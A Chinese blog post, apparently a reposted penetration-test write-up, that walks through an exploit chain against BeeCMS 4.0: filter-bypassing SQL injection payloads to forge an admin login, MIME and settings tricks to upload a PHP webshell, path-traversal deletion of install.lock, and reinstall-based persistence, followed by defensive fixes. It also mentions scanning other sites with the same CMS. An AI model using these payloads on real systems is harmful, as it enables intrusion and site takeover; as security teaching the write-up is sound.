从一次真实的渗透测试说起:我是如何通过SQL注入拿下BeeCMS 4.0后台并上传Webshell的
实战剖析BeeCMS 4.0安全漏洞链的完整利用路径当阳光透过百叶窗在键盘上投下斑驳光影时我正在对某企业官网进行常规渗透测试。这个使用BeeCMS 4.0搭建的网站看似普通却意外成为了展示经典漏洞链的绝佳案例。本文将完整还原从发现漏洞到获取服务器权限的全过程其中关键环节包括后台登录页的SQL注入漏洞利用管理员会话伪造技术双重文件上传绕过技巧任意文件删除的连锁反应1. 目标侦察与入口定位任何有效的渗透测试都始于充分的信息收集。使用Wappalyzer插件快速识别出目标系统为BeeCMS 4.0后我立即开始扫描典型目录结构/admin /install /data /includes在/admin/login.php发现后台登录页面时注意到两个异常现象页面响应头未返回常见的WAF标识登录失败提示暴露出用户名枚举漏洞更关键的是查看页面源码时发现表单提交地址为login.php?actionck_login这种传统PHP的参数传递方式往往意味着可能存在输入验证缺陷。2. 突破认证防线SQL注入实战2.1 漏洞定位与分析通过Burp Suite拦截登录请求观察到POST数据为usertestpassword123456submitLogin审计admin/login.php源码时发现关键安全缺陷$userfl_html(fl_value($_POST[user])); $passwordfl_html(fl_value($_POST[password])); check_login($user,$password);其中fl_value()函数的过滤存在致命缺陷function fl_value($str){ return preg_replace(/select|insert|update|and|in|on|left|joins|delete|\%|\|\/\*|\*|\.\.\/|\.\/|union|from|where|group|into|load_file|outfile/i,,$str); }这种单次替换的过滤可通过双写绕过技术轻松突破。例如输入selselectect经过过滤后会变成select。2.2 构造高效Payload使用报错注入技术验证漏洞构造特殊用户名 and extractvalue(1,concat(0x7e,(database()))) #当服务器返回包含数据库名的错误信息时确认存在可利用的SQL注入漏洞。接着构造管理员账户伪造Payloaduser-1uniselectonselselectect1,admin,e10adc3949ba59abbe56e057f20f883e,0,0%23password123456这个Payload的精妙之处在于使用union select构造虚拟管理员记录e10adc3949ba59abbe56e057f20f883e是123456的MD5值%23编码的#符号注释掉后续SQL语句成功登录后浏览器跳转到后台管理界面Session被成功设置为管理员身份。3. 突破文件上传防御3.1 图片上传绕过技巧在后台的图片管理模块上传PHP文件时遭遇拦截。分析admin/admin_pic_upload.php发现$value_arrup_img($pic_info,$is_up_size, array(image/gif,image/jpeg,image/png,image/jpg,image/bmp,image/pjpeg,image/x-png), $up_is_thumb,$up_thumb_width,$up_thumb_height,$logo1,$pic_name_alt);仅通过Burp Suite修改Content-Type为image/jpeg即可绕过MIME类型检查。上传后的文件路径在响应HTML中暴露img src/upload/img/20230615123456.php /3.2 附件上传二次突破更隐蔽的上传点位于admin/admin_upload.php其校验逻辑为$type array(zip,rar,doc,xls,pdf,txt); $return_arrup_file($file,$size,$type,$path,$name);通过修改后台系统设置中的允许上传类型添加php扩展名后即可直接上传Webshell。文件最终保存在/upload/file/webshell-20230615123456.php4. 权限维持与清理痕迹4.1 任意文件删除漏洞利用在admin/admin_ajax.php中发现危险代码elseif($actiondel_pic){ $fileCMS_PATH.upload/.$value; unlink($file); die(图片成功删除); }构造Payload删除安装锁定文件/admin/admin_ajax.php?actiondel_picvalue../install/install.lock4.2 系统重装攻击删除锁定文件后访问/install/目录可重新安装系统。虽然无法直接通过数据库配置写入Webshell但可以修改SMTP配置为攻击者控制邮箱篡改网站统计代码植入XSS修改管理员密码建立持久后门防御方案与最佳实践针对这类传统CMS建议采取以下防护措施输入验证层面使用PDO预处理语句替代SQL拼接实施多层级过滤如htmlspecialchars($str, ENT_QUOTES)文件上传安全// 安全的文件类型校验示例 $allowed [jpg image/jpeg, png image/png]; $ext pathinfo($filename, PATHINFO_EXTENSION); $finfo new finfo(FILEINFO_MIME_TYPE); if(!array_key_exists($ext, $allowed) || $allowed[$ext] ! $finfo-file($_FILES[file][tmp_name])){ die(Invalid file type); }权限控制所有管理页面强制包含init.php实施CSRF Token机制对文件删除等危险操作要求二次认证在渗透测试的最后阶段我通过编写的自动化脚本批量检测了同源其他站点发现超过60%的BeeCMS 4.0存在相同漏洞链。这提醒我们老旧系统的定期安全审计不应成为被忽视的环节。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2544332.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!